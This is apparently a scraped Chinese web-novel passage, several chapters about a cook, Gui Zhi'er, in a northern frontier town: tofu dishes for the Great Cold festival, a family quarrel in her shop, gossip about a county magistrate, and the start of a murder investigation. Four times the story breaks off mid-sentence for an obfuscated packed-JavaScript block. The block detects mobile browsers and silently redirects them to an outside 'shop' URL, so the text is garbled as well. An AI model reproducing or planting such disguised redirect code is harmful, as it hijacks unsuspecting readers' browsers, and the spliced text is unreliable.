这是二十四节气中最后一个节气，也是一年中最冷的时节。 冬去春来，大寒之后便是新一年的轮回，家家户户除旧布新，做牙祭以降福来年。 餐桌上尤其少不了糯米和豆腐。 蒸一碗糯米饭，御寒滋补，“豆腐”既是“头福”，又是“都富”，喜庆吉利。 “卖豆腐嘞——现磨的豆腐。” 老翁音调绵长，独特的北境腔调抑扬顿挫，手推板车的木盆上盖着一层纱布。 他穿着土布衣裳，披一件裘皮外套，走街串巷，白发苍髯上粘了几片雪花。 早半个月，他就跟凌河县收购大豆的行商约好。 那里的平原种植较为发达，在上好的黄豆中加入十分之一的绿豆，成品的豆腐特别有韧性。 一轮磨上流琼液，百沸汤中滚雪花。 老翁用满是皱纹的手将泡发好的豆子捞出来。 随着石磨慢慢转动，豆子被碾碎，奶白浓稠的豆浆缓缓流淌，老翁欣喜地笑了。 “这仗再怎么打，日子也要过。”老翁一边点盐卤一边絮叨，“大寒吃豆腐，是自古传下来的规矩。” “是是是，翁公说得有理。” 管家连声应和，困得黑眼圈都明显了。 夜半三更听磨石声，还是在镇北府衙，操心全府安全的管家觉得自己的精神日渐衰弱。 这不，连老爷都夜宿邀月楼了。 可是还真没招，人家翁公是在编在册的府衙看门人，送走过几代知府大人，资历比他们都深。 等到天刚拂晓，老翁的豆腐也成型了。 顾不上小雪，老翁拉起手推板车就走，大不了卖完了再回来补个觉嘛。 “翁公，来十块豆腐！” 刚出府衙没走几步，就被桂枝儿截住了。 “一口气要十块，你吃的完吗。”老翁嘟嘟囔囔。 他的脾气不好，可豆腐是顶好的，打开纱布，一块块洁白如玉的豆腐呈现在眼前。 桂枝儿捧起来用自家的盆接着，质地细腻柔滑，凑近了还能嗅到清香宜人的气息。 十块豆腐，十五个铜板。 老翁一丝不苟地数了一遍钱串子，然后继续向下一条街走去。 “卖豆腐嘞——现磨的豆腐。” 悠长的吆喝声唤醒冬日清晨，年味儿就在这赶集与走街串巷中愈发浓厚了。 桂枝儿自然不是一个人吃。 桂记卤味店，每逢五、逢十固定开业，今日预备做甜咸两口的脆皮豆腐。 她先切下指甲盖大的一小角，尝一口，豆香与卤水的微咸味萦绕，回味无穷。 继而将豆腐放在砧板上，五块用刀完全压烂，五块切成一寸多点的大块。 桂枝儿刀工很稳，全神贯注。 她今日着一件素净的浅青色卷草纹袍，枝蔓连绵甚是雅致，秀发盘成螺髻，辅以简约的木纹发叉。 她将手擦得干爽，再翻拍豆腐，使淀粉均匀地裹住它并保证不碎开。 “咔嚓咔嚓。” 用刀刨出的鲜鱼肉需剁成茸，加上调味后用竹筷子拌一拌，再将腊肠、肥猪肉剁成细粒。 豆腐盆内的食材越来越多，桂枝儿不断搅拌均匀，切成葱珠的青葱白点缀其间。 “呼，得抓紧处理重头戏了。” 荤素搭配要合理，桂枝儿争分夺秒地端出肘子肉。 先把猪皮上的长、短毛烧干净，再耐心地用小刀刮皮上的焦糊处。 焯水、清汤、酱制，一系列流程下来，再打开锅盖，糖色已经能使汤液呈现栗子色，十分诱人。 还未出锅，便有客来到。 “哎呦这个香味，奴家快饿死了！” 未见其人，先闻其声，柳千金一句娇嗔流露出百般期许。 非是登台表演，她脸上涂抹的白粉并不厚重，但花钿、斜红无不精致，大面积的胭脂衬得她愈发妖艳。 桂记卤味店可供预订的两桌堂客，并不是普通百姓舍得咬牙消费的。 额外收取高昂的服务费，让人望而却步。 所以常客就那么几位不差钱的主儿，马知府、柳花魁都名列前茅。 “是你来早了。”桂枝儿叹了口气迎客，“莫要催促，今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712090|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了你爱吃的甜口。” 冰糖卤肘子酥烂香醇，色浓味厚，用白菜叶子垫个底儿放置碗中，裹不住的汁儿流淌，简直香迷糊了。 柳千金两眼放光，顾不得形象，恨不得吃上三碗大米饭。 她身后是两位老鸨豢养的打手。 人高马大如铁塔一般，猛吸两口空气中的香味，对视一眼开口：“花魁娘子，这暴饮暴食……” “分你们一些就是了。”柳千金摆摆手，“每次都要来我这里打秋风。” 铁塔壮汉们顿时喜笑颜开。 桂枝儿习以为常，眼看门口已经有三三两两开始排队的食客，不由加快了速度。 先做大众习惯的咸口豆腐。 将锅放入生油烧热，“滋啦”一声，混合鲜鱼肉后重新塑形的豆腐下锅。 普通老百姓做饭，哪里舍得这么用油用盐，桂记卤味独树一帜。 “嘿，就我这鼻子一闻，绝对是满锅的豆油。” “小娘子做炸货啦，可这招牌上写的是脆皮豆腐……豆腐也能炸？” “那不就碎在锅里了吗？”赶早排队的人议论纷纷，“甭管咋说，酱肘子我是一定要买的。” 标价才二十个铜板一份，即使量少些，也能让一家老小开开荤。 鱼香豆腐已炸至金黄色，表皮松脆，内嫩香醇。 桂枝儿开始做另一种，酸甜口的豆腐。 她倒入裹好粉的豆腐块，用大铁勺在锅中搅动，以防粘连。 “滋啦滋啦”，偶尔迸溅出来的油会烫伤皮肤，虽然只有星星点点，但热气和油烟不断。 桂枝儿捞出豆腐，沥去油分，正准备用番茄、糖、白醋炒酱勾芡。 “桂姑娘，叨扰了。” 又一位客人不请自来，嗓音浑厚威严。 桂枝儿惊讶地从后厨探头一看，愣住了。 竟是蔡统领。 他卸了铠甲和军装，仅着一身常服，依旧能看出身型威猛结实，邀月楼的打手跟他一比逊色不少。 他肤色一贯黝黑，许是近日督工修筑城墙，更被晒得黑里透红。 桂枝儿向左看，柳千金正抱着卤肘子呆愣，向右看，蔡淼站在那里坦坦荡荡。 一时不知该不该招待。 16. 小贱蹄子 “见过蔡统领，您预约的是另一桌堂食吗？” 惯于交际的柳千金率先打破僵局。 她巧笑倩兮，与在邀月楼招揽其他客人一般姿态，适才瞬间的呆滞不复存在。 “不是，我来找你。” 蔡淼冷硬回复，嘴唇蠕动，似乎在筹措说辞。 他不客气地坐到木质餐桌对面，倚靠着火墙问道：“我几次三番相约，为何不肯见我？” 桂枝儿一边给豆腐勾芡一边竖起了耳朵。 “蔡统领，您要想看话本子，来就是了！”柳千金答话，眼眸流波转盼，“邀月楼开门迎客，哪有把您拒之门外的道理。” 柳千金用筷子戳了戳软烂的冰糖卤肘子，想吃又碍于有人关注，心情烦闷。 蔡淼眉毛一横，嘴角下垂，把沉闷摆在了脸上。 他明知不是一回事，但又想不出来怎么反驳，只坚持坐在那里不肯起身。 另一边，桂枝儿忙活完手头的工序，送一盘豆腐给室内僵持的两人，而后开张！ “今日大寒天，吃豆腐迎吉祥！” 她掀开小窗口的帘子，按惯例喊上那么一嗓子，声音甜美讨喜：“大家爱甜口还是咸口，跟我知会一声。” “这豆腐还真是炸的。”有心急的人，拨开油纸，被烫的直哆嗦也要往嘴里送一口。 浸满了汁儿的鱼香豆腐肉质细嫩、口感丝滑，还没有讨厌的鱼刺卡喉，当真绝配。 “好吃！”心急者被烫得泪眼汪汪，仍不忘给出极高赞誉。 “这买完卤肘子钱不够了呀，老李头，要不咱们合买一份脆皮豆腐？” “不成不成，我家二丫爱吃甜口，你肯定是要买咸口的。” 围观者吵吵嚷嚷，互不相让。 “你跟着凑什么热闹啊蔡大娘，你儿子就在店里呢！”排在后方的人高呼。 “什么？不孝子！”蔡大娘闻言火冒三丈，跺两下脚径直往店里走，“光顾着自己吃饭，不知道喊上老娘。” 蔡大娘越想越气，她早年守寡，孤身把蔡淼拉扯大。 没想到不孝子的婚姻大事一再拖延，急得她夜里都睡不着觉，逢人就抱怨。 曾经她买餐食时，跟桂枝儿说起这事。 原本是想探探小姑娘的口风，哪料桂枝儿真心实意地建议她：“大娘，睡不着的话，我帮您打听打听城里有哪些夜班的活计缺人。” 她是心急自己睡不着吗？ 她是担忧将来儿子没人照顾啊！ 蔡大娘只恨没人能善解她的心意，难得儿子今日也来卤味店，她得好好牵个红线。 蔡大娘刚一进门，四双眼睛扫过来。 儿子蔡淼仿佛干了亏心事一般，黑色的面皮瞬间涨红，斜靠墙的身子也绷直了。 “娘，您怎么来了？”蔡淼慌乱起身问道。 蔡大娘不管，只去看另一双桃花眼。 那姑娘涂脂抹粉，额头贴着红色花子，薄妆桃脸，蔡大娘怎么看怎么不顺眼。 不知哪里来的风尘女子，身后还跟着一对壮男，当真是有伤……对，叫有伤风化。 “呵，你只晓一个人吃独食，倒问我为何来？”蔡大娘瞪圆了眼。 她心痛地看向桌上色香味俱全的餐食，痛骂道：“堂食贵得很，你那两个例钱，不留着娶妻用，反而在这里瞎请客。” 蔡大娘朝小窗口嚷了一嗓子：“桂小娘子，你那可有外带用的提盒？” “娘！”蔡淼厉声打断，尴尬到连脖子都红了。 “噗。”柳千金捂嘴笑了，“大娘您也莫过于担心，大丈夫只患功名不立，何患无妻？” 她自顾夹起一块脆皮豆腐，吹两口气，送入樱桃口中。 “嘎吱嘎吱”的声响带来极大享受。 豆腐外表金黄酥脆，内里洁白如玉，再配上酸甜口的浇汁，在舌尖一转层次分明。 见到长辈不知行礼，连吃饭都是一副狐媚的样子。 蔡大娘胸口剧烈地起伏着，仿佛随时要爆发。 “娘，这是柳姑娘预定的餐食。”蔡淼赶忙安抚，“儿子恰巧路过，有事相商才进来。” “别以为我年纪大了就好糊弄。”蔡大娘冷笑，“知府大人不是安排你在城门口监工吗？哪里就顺路了。” 她扯着蔡淼的衣服就要走。 蔡家世代家世清白，决不能跟这种风尘女子混在一起。 柳千金夹起了第二块豆腐。 脆皮炸货吃的就是那个热乎劲儿，要是凉了，口感可就大打折扣。 母子二人愿意闹就闹，她只当看个乐子。 蔡淼身形高大，蔡大娘一扯之下竟没拉动。 再看儿子那一副恋恋不舍的模样，当即将怨气对着柳千金发泄道：“人要知廉耻，莫再纠缠我儿！” 柳千金还未有所反应，她身后两个铁塔般的打手齐齐上前一步。 邀月楼的花魁是棵摇钱树，金贵着呢。 若是出来一趟，被乡野村妇抓花了脸，老鸨可饶不了他们。 这下子可捅了马蜂窝，把蔡大娘气了个仰倒。 她先是跺两下脚，然后干脆箕踞而坐，唾沫飞溅，边捶地边哭道：“偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712091|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要欺负我们孤儿寡母……” 自从蔡淼升任城防掌兵将，哪有人敢对她摆脸色。 “怎么了这是？”桂枝儿照顾完限量发售的散客们，手捧提盒走了进来，“大娘快快起身，地上凉。” 双层的竹镂雕刻食盒，用来外带足够了。 就是这寒冬腊月，食物带回去也需重新加热。 柳千金不顾蔡大娘撒泼，示意打手将桌面餐食装好。 最后甩下一句：“今日没吃好，下次再来，这账就让蔡统领结吧。” 她扭了扭腰，一行人扬长而去。 桂枝儿哭笑不得。 柳千金预定时，就付过了三贯铜钱，这说辞分明就是激化矛盾的气话。 “她、她个……小贱蹄子！” 蔡大娘破口大骂，用手指着对方离去的背影，脸色铁青，连额头上的皱纹都在跳动。 蔡淼深感无奈，他手腕用力，连拉带拽，硬是将蔡母扶到椅子上坐下。 “娘，城门口离不开人，咱有事回家再议。”蔡淼道。 紧接着，他面向桂枝儿拱了拱手：“家母就拜托小娘子照顾一下了。” 蔡淼最后打了个手势，暗示桂枝儿记他账上。 桂枝儿单手扶额。 合着自己看完热闹成怨种了？ 大哥你过来私会美人时，怎么就没想到不能玩忽职守呢。 不悦归不悦，客官至上，肯付铜钱就行。 “大娘，您说您跟小一辈置什么气？”桂枝儿倒了杯温白水递过去，“气出病来没人替。” 水波在瓷盏里荡漾，映照出蔡大娘的一把鼻涕一把泪，好生可怜。 桂枝儿轻拍她的后背，不走心地劝慰道。 蔡大娘不肯喝水，只是难过。 “我一个寡妇，把他自小拉扯大，不容易。”她的心像被针扎一般，“眼见三十好几了，没个着落的，我、我……” 蔡大娘深叹一口气，手臂用力挥舞道：“但是再怎么胡闹，也得结识良家女吧？” 桂枝儿盘算着，灶台若不趁热收拾，油冷固凝结后就不容易除垢了。 至于别人的家务事，她可不好多嘴，只道：“蔡统领正是建功立业的时候，急着娶亲干嘛呢？” “娶亲当然是要生儿子，让我早日抱孙子了，总不能让老蔡家绝了后！” “那生完儿子呢？”桂枝儿打了个哈欠。 “儿子嘛……养大了送去入伍，攒饷银娶亲啊！”蔡大娘补充道，“若是只生了丫头片子，那咱就招赘。” 嘿，完美的逻辑闭环。 17. 凌河县令 安顿好蔡大娘，打理完卫生，桂枝儿才腾出时间考虑昨晚答应献给刘善渊的混凝土制作秘方。 连弩仅算小巧思，对左右战局没有致命影响。 而水泥硬化后，不仅强度高，还能抵抗侵蚀。若应用于土木建筑或水利工程，将带来中心府城，乃至北境防御工事的巨大飞跃。 “既要透漏出一些关键步骤，又不能开启上帝视角，还要预留一些试错机会。” 桂枝儿执着炭笔犯起了难。 一方面，桂枝儿短时间内需逗留此地。而已经被火烧过一轮的版筑夯土城墙，即使修复完毕，也让人没什么安全感。 另一方面，她若是“全知全能”，免不了被有心人盯上。 小雪雪漫天，万籁寂静。 白日光阴还长，桂枝儿泡一壶清茶，看茶叶在沸水中卷舒身姿，逐渐放空大脑。 从橱柜里取出一盘桃酥，享受这难得安谧的时光。 “浅埋的石灰石矿床，需露天开采、挖掘、爆破……得起个新名字，就叫灰白玉岩吧。”桂枝儿用歪七扭八的字迹在纸上涂沫着。 她的字迹确实有些丑陋，只得一边翻查字典，一边潦草作画。 翌日，雪势不增不减。 仰首雪满眉眼，俯首飞絮盈头，她便取了把油纸伞出门。 少女依旧着浅色淡雅的棉袍，娇嫩面庞白里透红，如古典的簪花仕女，踏雪前行。 不过几步路，依旧是由府衙看门的豆腐翁相迎。 “也就你们南边人金贵，搁我们北境，哪里有人下个小雪还打伞的哦！” 老翁照例要絮叨两句，而后有些犹豫：“今天府里有客……” “翁公，翁公！” 管家三步并作两步窜出来，身形灵活。 他满脸陪笑拱手作揖：“刘老爷吩咐了，若是桂小娘子来访，只管好生招待。” 然后弯腰引桂枝儿入内。 这还是桂枝儿第一次踏进修缮后的镇北府衙。 隆冬时节，灰苍苍的建筑显得格外清冷，进入仪门后，是个南北向拉长的院落。 东西两侧布置了知府及理事、通判管辖的吏、户、礼、刑房等建筑。 这些小房，反而烘托出了大堂的威严。 堂前设月台，青砖灰瓦、暗色楹柱，上悬的“明镜高悬”匾额也已经被拭去灰尘。 公案太师椅上，刘善渊着官服端坐，面色看不出喜悲。 但桂枝儿仅瞥一眼，就怀疑，这人心里又藏着事儿呢。 紧接着，她就被刘善渊侧对面座位上，同样顶戴乌纱帽的中年男子吸引了视线。 此人长须美髯、仪形伟丽，面对刘善渊带来的压迫感，不卑不亢地坦言道：“老爷仁慈！贫不足患，只要民心不散。北境有您在，我们就放心了。” 虽是拍马屁，但其举止风流倜傥，宛若一介名流。 按大梁律令，千户县的长官方可为县令，所辖百姓未过千户，则是七品县长。 看男子的衣冠品阶，当是来自凌河县。 管家验证了桂枝儿的猜想。 “凌河县县令，骆嵩延。”管家低声介绍来客身份，“镇北府地广人稀，咱们老爷也是刚交接，其他县令还来不及到府城见礼。” 凌河县县令速度快，自是因为地理位置最近。 绕过天井，来到二堂偏院，这里是知府大人会友宴客的场所。 管家安置桂枝儿在屋内坐下歇息。 他的嘴角挂起一抹神秘的笑容：“小娘子可想知道，这骆县令有何趣事？” 既然是主子交代要额外关照的人，管家不介意透漏一些人尽皆知的笑谈。 想要拉近距离，最好的方式就是分享八卦或秘密。 桂枝儿摆出礼貌倾听的姿态。 “小娘子也看到了，这骆县令是仪貌堂堂，一表人才。殊不知，他当年曾官至四品！” 管家丢下的这个重磅炸弹，一下子就让桂枝儿提起了兴趣。 她亮晶晶的眼中闪烁着强烈的好奇心。 却说骆嵩延本是江南富户。 祖上传承下来的茶叶和私盐生意，足以让家族世代腰缠万贯，白玉为堂金作马。 但有钱不够，还得有权。 骆家老太爷放话，若是不肖子孙科举无望，就算捐也要捐一个官出来！ “所以骆大人这个四品官，是用钱砸出来的？”桂枝儿倒吸一口气，那得多少真金白银打通上下啊。 “还真不至于。”管家摇摇头。 大梁自天宥年以来，朝堂腐化、积弊已久，可四品官也不是烂大街的白菜。 管家故作玄奥：“适才惊鸿一面，小娘子觉得骆大人面相如何？” 懂了，看脸嘛。 桂枝儿实话实说：“看似英明特达，才学过人。” “那就对了！”管家一拍巴掌。 骆家虽财大气粗，也知自己儿孙有几斤几两。 只给骆嵩延捐了个普通理事的职位，结果阴差阳错，他因着年轻时格外标致的形象，被荐到府部翰林教书。 “科举都过不了，教书岂不更是误人子弟？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712092|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂枝儿听得津津有味，忍不住问道。 “骆家自有妙招。”管家狡黠地眨眨眼，“江南的书生，不是去茶馆清谈，就是去勾栏吟诗。” 花月美人，翰墨棋酒。 骆家只管砸银子，买下书生的墨宝诗词，让骆嵩延“借鉴”。 这一来二去，骆嵩延不仅糊弄上了教书的任务，反而还得以扬名。 桂枝儿哭笑不得：“那他就这么升官了？” 才名过盛，骆嵩延甚至直接被提拔进南苑府，成为书令，还能由自己的下属干活儿，前途一片大好。 南苑府又是杭京所在，官阶比其余州府再高半阶。 就这么着，四品官到手！ “世界就是一个巨大的草台班子。” 这话桂枝儿憋在心里没敢说。 接下来，管家话锋一转，讲起了骆嵩延如何被人发现是个草包的故事。 话说某日，恰逢骆嵩延值宿，南苑知府大人临时需要拟一份奏折，便让他执笔撰写。 奏章呈上来，知府一看，里面有一句赞许的话，“河清海晏，时和岁丰”。 便道：“晏字犯了名讳，你改一下。” 骆嵩延躬身接过奏折道：“卑职这就回去改！” 知府大人拦住他，说：“不过是略作改动，在这里调整即可。” 骆嵩延当时冷汗直流，支支吾吾半天不能下笔。 知府大人等了半天，还以为骆嵩延是心思缜密，想重新润色。 不料接过来一看…… “他一个字没改？”桂枝儿焦急地坐直了身子。 管家不去当说书人可惜了，她恨不得一边嗑瓜子一边喝茶。 “非也。”管家摆摆手。 骆嵩延吭哧瘪肚半天，改成了个“河清海净”，旁的字都没动。 知府大怒，将奏折扔到地上，愤愤道：“虚有其表。” 直属上司有了这种看法，他的仕途，也就走到头了。 下场就一个：外放！ 纸包不住火啊。 桂枝儿心想，也不知大家是否趴在床底偷窥到的，还是以讹传讹，总之这故事本身称得上是缠绵跌宕、一波三折。 “离谱的娘亲给离谱开门——离谱到家啦。”她听得过瘾，眉眼弯弯。 屋外的雪越下越大，狂风卷着雪花翻滚，似乎要吞噬一切，空气里弥漫着冷冰冰的气息。 此时一名侍从走进来，恭敬行礼。 “管家，刘老爷请桂姑娘去前堂，说是有一桩悬案，想让姑娘帮着参谋一下。” 18. 一桩悬案 阴冷的天，乌云蔽日。积雪已经铺了厚厚一层，最底端结冰，又湿又滑。 领路侍从踩进雪里，留下明显痕迹，相比之下，管家的脚印则薄了不少。 桂枝儿撑起油纸伞，一言不发。 顶尖的轻功高手能做到踏雪无痕，她不想现眼，只故意比管家略重了些印记。 果然，进大堂前，管家向后方雪地偷瞄了一眼。 大堂里则更是压抑，格子窗外风声四起，堂内阴森可怖。 桂枝儿抬眼望去，刘善渊正把玩着他腰间的玉佩，手指摩挲。重新戴上厚重的面具，便又是一个脸色苍白、皱纹横生的中年知府了。 “给小娘子看座。”他声音未变，温文尔雅中隐藏着百般不耐。 面庞被遮蔽在光线阴影下，透出些许疲惫。 “这位是咱们凌河县的县令，骆大人。”管家赶忙引荐，“这位是……中心府城有名的桂记卤味店店主，桂小娘子！” 好似刚才在背后蛐蛐人家八卦的不是他。 桂枝儿忍住笑意。 不过关于卤味店店主的介绍她很满意，一介庖厨，闲事莫扰。 互相见过礼，骆县令便开始简单陈述案情。 原是一家六口深夜被杀，唯有外嫁的女儿逃过一劫。 “情杀，还是仇杀？”桂枝儿一个没忍住，好奇心又如火苗般冒了出来，“若是劫财，应当没必要灭满门。” “这……”骆县令捻了捻他的长须，“作案缘由尚且存疑。” “不过……哦对，有巡捕在离这户人家不远的一处荒井里，找到了疑似凶手逃窜时留下的沾血衣物。” 骆县令努力回忆下属汇报过的内容，越讲越心虚。 他没发现什么有用的线索，挠破脑袋也不知道该怎么结案，幸存的外嫁女又在县衙门口哭天喊地。 可把他愁坏了！ 桂枝儿总算理解刘善渊为何不耐烦了。 前几日不信达奴人能翻越梅山，不肯放援军的就是这位县令吧。 现在又含含糊糊，说不清案情，却指望上级帮忙做事。 她抬眸与刘善渊对视一眼。 后者漫不经心地取出桌面签桶中的火签令，在宽大的官袍袖口处，手腕用力，弹指一挥。 令牌划破空气，笔直地奔向桂枝儿。 “嗖”的一声速度飞快，得亏桂枝儿反应敏捷，用二指夹住。 定睛一看，这绿头牌子又叫拘唤签。 府衙捕快可以凭借此签，拘捕或者传唤老百姓。 给她，既是凭证又是权利。 桂枝儿不悦地抿了抿嘴角，想扔就扔，也不考虑她能不能接住。 堂堂知府如此行径，成何体统！ 刘善渊眼底总算浮现出一丝笑意。 他端坐半日，光听骆嵩延滔滔不绝的述职和捧杀，就已精神疲惫。 而桂枝儿登场，就像是昔年母亲养过的小黄猫。 炸毛时既不喵喵叫，也不咬人，单是呲着牙哈气，模样凶狠。 还怪可爱的。 “此等命盗重案，若不能限期破案，必将引得民心惶惶。”他不留情面，直接将麻烦事踢了回去。 “桂小娘子此行，若能协助发现真凶，则先行收押，再报卷宗逐级复审。”刘善渊一锤定音。 我？ 派我一个柔弱女子去捉凶？ 桂枝儿目瞪口呆。 她是喜热闹八卦，可多管闲事有违人生宗旨。 更何况刘善渊一看就不想搭理这个案子，说的全是既定流程，简称无用的废话。 她刚酝酿推诿两句，刘善渊便截住了她的话头。 “小娘子，还得麻烦你，顺带运一批粮草给栾小将军。”刘善渊眨了眨眼。 他缓和了语气，半是哀求，仿佛能窥见面具下，那幅风光霁月的英俊容貌，煞是可怜。 桂枝儿脑筋转的飞快。 需要带给栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712093|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜柏，不方便由别人运送，难道是……由她献上制作图的连弩？ 这玩意虽然体积小巧，用料不多，可就算把全府城的木匠集中起来制作，也没这么快速精准吧！ 这冒牌刘知府，究竟还有多少秘密。 桂枝儿狐疑抬眸，只见管家在骆县令背后，做了个射箭的手势。 还真是！ 看来协助探案是假，偷运武器是真，毕竟谁会盘查县令大人的马车呢。 “民女领命。” 已是申时，雪停了，风却更大、更急，猛烈地呼啸着。 脚下的积雪有半尺多厚，将来时路掩埋，黑马低着头，放慢速度吃力地向前拉动车辆。 骆县令在马车中忐忑不安。 “桂小娘子，我们这么急着出发，能在天黑前赶到吗？” 他裹紧了皮大衣，扎上腰带，紧抱着暖水袋，掀开窗帘唉声叹气。 “那大人为何不与刘知府说，多歇一晚再动身。” 桂枝儿头戴毡帽，骑马行在一侧。 她换了件朱红色交领棉袍，主要是手腕处收紧的马蹄袖更方便行动。 她还象征性带了一个包裹的行李。 即使有随身空间，能四海为家，但也需掩人耳目。 “这、这下官岂敢！”骆县令窘迫不已。 顿了片刻，他再度试图跟桂枝儿搭话：“小娘子与知府相熟，可知他喜欢什么？来时匆忙，只略备薄礼，大人却不肯收。” 不熟，不知道，不关心。 桂枝儿在心底拒绝三连，这种冷天气一张嘴就会灌风。 骆县令坐在马车里，当真不知民生疾苦。 她甩了一下马鞭，朗声劝告。 “今日这暴风雪，若不慎迷了路，在沿途冻一宿，估计脚、脸都会冻坏，是否被冻死都未可知。” 骆县令吓得一哆嗦，放下窗帘，直往炭火炉里添炭。 老天爷保佑，他可不想被冻死！ 19. 开个小灶 骆县令往炉中添的，均是白煤。 所谓白煤，不指颜色，而是指它的质地：净若乌金，燃之无烟。 一派江南大户人家作风的骆嵩延，如今也只能冒着风雪，看碳炉内余烬一点点变成灰。 好在掌灯后不久，识途老马就带着一行人进了城。 “桂小娘子是随本官入府衙客房，还是找个客栈歇息一二？”面对刘知府指派的人，他不敢怠慢。 “就不麻烦大人了。”桂枝儿习惯孤身自在。 然而挥别骆县令，身后还有两位时刻低眉顺眼的侍从。二人均穿着规整的驼色棉袍，押送粮草马车，令行禁止，除此之外毫无存在感。 名为随从，实则监视。 桂枝儿打心眼里觉得刘善渊小家子气。 混凝土制作的土方子已经上交，总不能因为他看不明白，就生怕自己跑路。 夜幕低垂，桂枝儿只略微仰头，就看见闪烁的星辰点缀苍穹。 凸月朝西，洒落下柔和的光辉，坐落于道旁的客栈，此时便成为远行人最温暖的归宿。 “桂小娘子，住宿之事老爷已有安排。” 沉默寡言的驼色棉袍侍从，此时终于肯开口，桂枝儿便牵马跟他走。 门头挑着一盏橘黄色的迎客灯笼。 木制的招牌上刻着“春和景明”四个大字，店面虽不豪华，却显出古朴和温馨。 “几位客官都这么晚了，是打哪儿来的呀？”店小二热情礼貌地迎上前来。 桂枝儿还在想，要不要拿出府衙的绿头牌子，撂下一句：“来两间上房，衙门办案，无需声张。” 不待她体验，身后侍从已经摸出令牌晃了一下。 “几位贵客里面请。”店小二见到侍从的令牌，瞬间收起了笑容，变得小心谨慎。 他一边向店里招呼人手，一边接过马缰，把马牵向后院。那里有根一头削尖打入地底的木棍，正适合拴马喂食。 “你们这客栈的名字，倒是独特。”桂枝儿笑道，“旁的客栈，不是什么来福就是来悦。” 一楼的厅堂中央，仅摆着几张方桌和长凳。 看得出来门店生意不是很火热，角落里的火炉熊熊燃烧，驱散了些许夜间寒意。 店小二讨好地笑道：“姑娘您真有品味。” 他引着一行人上楼，踩上木质楼梯，脚步声在空旷的空间里回荡。 屋内别有洞天，床铺整洁，桂枝儿用手一摸，被褥格外柔软的触感让她讶异。 “桂小娘子且休息吧，饭菜和热水稍后安排小二送上。”侍从躬身行礼，“明日一早，再拜访经略府。” 这两位身着驼色棉袍的侍从，办事尚算妥帖。 桂枝儿自无不可。 窗外，偶尔传来狗吠声，很快又归于平静。 在这样的夜晚，有一口热气腾腾的饭菜，桂枝儿已经甚至满足。 一夜无梦。 翌日辰时，用过早膳，三人直奔经略府。 经略是前朝时，专为沿边地区特设的官职，主要掌管地方军政事务。 因着本朝重文轻武，经略大将军一职虚设，甚至不再理政，只管军中事务，权力大幅缩小。 栾霜柏不在。 三人便辗转去往边防北境第一军的校场。 还未走近，便听到陡然拔高的一声怒喝。 “比就比，我若是输了，自去领罚！” 语气中透露着不容置疑的坚决，咆哮声在空气中回荡，震得周围人屏住呼吸。 桂枝儿定睛一看，原是一位军中屯长。 他双目犹如两团熊熊燃烧的火焰，直勾勾地盯着对面，胸腔起伏，呼吸也变得粗重急促。 在他对面的，正是栾霜柏。 少年提着红缨枪，站姿如松，阳光斜照在练武场上，他朗声道：“只拼高下，点到为止。” 难不成你个毛头小子还敢决生死。 屯长不屑一顾，虽说官大一级压死人，但他们武将，最信奉的还是实力。 话音刚落，屯长抢先出手。 他亦是使长枪，铁质枪头寒光凌冽，尽显锋利。他向前大跨步，一招神龙探海，面目狰狞。 “来得好！”栾霜柏并不慌，他脚步轻移，身形闪避如风，手中的红缨枪也随之舞动。 霎那间，围观者眼花缭乱。 刺击、挑拨、横扫。 二人似乎都有些功底在身，战局兼具古典武侠的风韵和边塞厮杀的激烈。 栾霜柏拧腰，以退为进，枪尖下悬挂的红缨随着他的脚步飘扬。 突然间，他凝神静气，手腕上挑的姿态流畅而有力，枪尖带着破空之声，划过空气，留下一道虚影。 “中！”红缨起舞，如烈火般跳跃。 枪尖悬在屯长咽喉前一寸的位置。 “我还是不服！”屯长倔强地一梗脖子，冷冷道，“我去领罚，但是少将军，咱们下午再比一场。” 栾霜柏擦了擦脸上汗珠，刚喘匀了呼吸。 围观军士哄笑：“屯长，你已经连比三回了。” 